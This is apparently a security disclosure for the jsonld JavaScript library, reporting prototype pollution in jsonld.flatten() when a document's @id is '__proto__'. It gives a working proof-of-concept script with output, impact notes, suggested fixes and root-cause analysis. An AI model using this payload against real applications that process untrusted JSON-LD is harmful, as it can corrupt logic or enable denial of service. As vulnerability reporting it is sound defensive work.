Prototype pollution in jsonld.flatten() when processing a node with @id `__proto__`

[Dremig]

Description

jsonld.flatten() appears to be vulnerable to prototype pollution when processing a JSON-LD document that contains a node whose @id is __proto__.

When flattening the document, the internal node map uses the node identifier as an object key. If the identifier is __proto__, the lookup resolves to Object.prototype, and subsequent JSON-LD properties are written onto the global object prototype.

This is reachable through the public jsonld.flatten() API and does not require using internal package paths.

Affected Version

Tested with:

• jsonld@9.0.0
• Node.js v24.10.0

Proof of Concept

const jsonld = require("jsonld");

(async () => {
  delete Object.prototype["@id"];
  delete Object.prototype["http://example.com/polluted"];

  const doc = {
    "@context": {
      polluted: "http://example.com/polluted"
    },
    "@id": "__proto__",
    polluted: "yes"
  };

  await jsonld.flatten(doc);

  console.log("Object.prototype[@id]:", JSON.stringify(Object.prototype["@id"]));
  console.log(
    "Object.prototype[http://example.com/polluted]:",
    JSON.stringify(Object.prototype["http://example.com/polluted"])
  );
  console.log(
    "plain object inherited polluted IRI:",
    JSON.stringify(({})["http://example.com/polluted"])
  );

  delete Object.prototype["@id"];
  delete Object.prototype["http://example.com/polluted"];
})();

Observed output:

Object.prototype[@id]: "__proto__"
Object.prototype[http://example.com/polluted]: [{"@id":"__proto__"}]
plain object inherited polluted IRI: [{"@id":"__proto__"}]

Impact

This is a prototype pollution issue in the JSON-LD flattening path.

The impact depends on how applications process untrusted JSON-LD documents and whether other code in the same process is sensitive to inherited properties. Possible effects include logic corruption, unexpected inherited values, denial of service, or gadget-dependent escalation.

The pollution is not an arbitrary short-key pollution primitive like isAdmin = true; the polluted keys are JSON-LD-related keys such as @id and expanded IRIs derived from the document context. However, the input is a normal JSON-LD document and the affected API is commonly used to process external JSON-LD data.

Expected Behavior

Processing a JSON-LD document with @id: "__proto__" should not write to Object.prototype.

Possible fixes include:

• storing node map entries in null-prototype objects;
• rejecting or safely escaping prototype-related identifiers such as __proto__, constructor, and prototype;
• checking own properties explicitly instead of allowing inherited prototype lookups to become node map entries.

Root Cause

The issue appears to come from the node map construction during flattening. A subject is stored and retrieved by identifier using a normal JavaScript object. When the identifier is __proto__, the object lookup reaches the inherited prototype instead of a safe own property slot, and later writes mutate Object.prototype.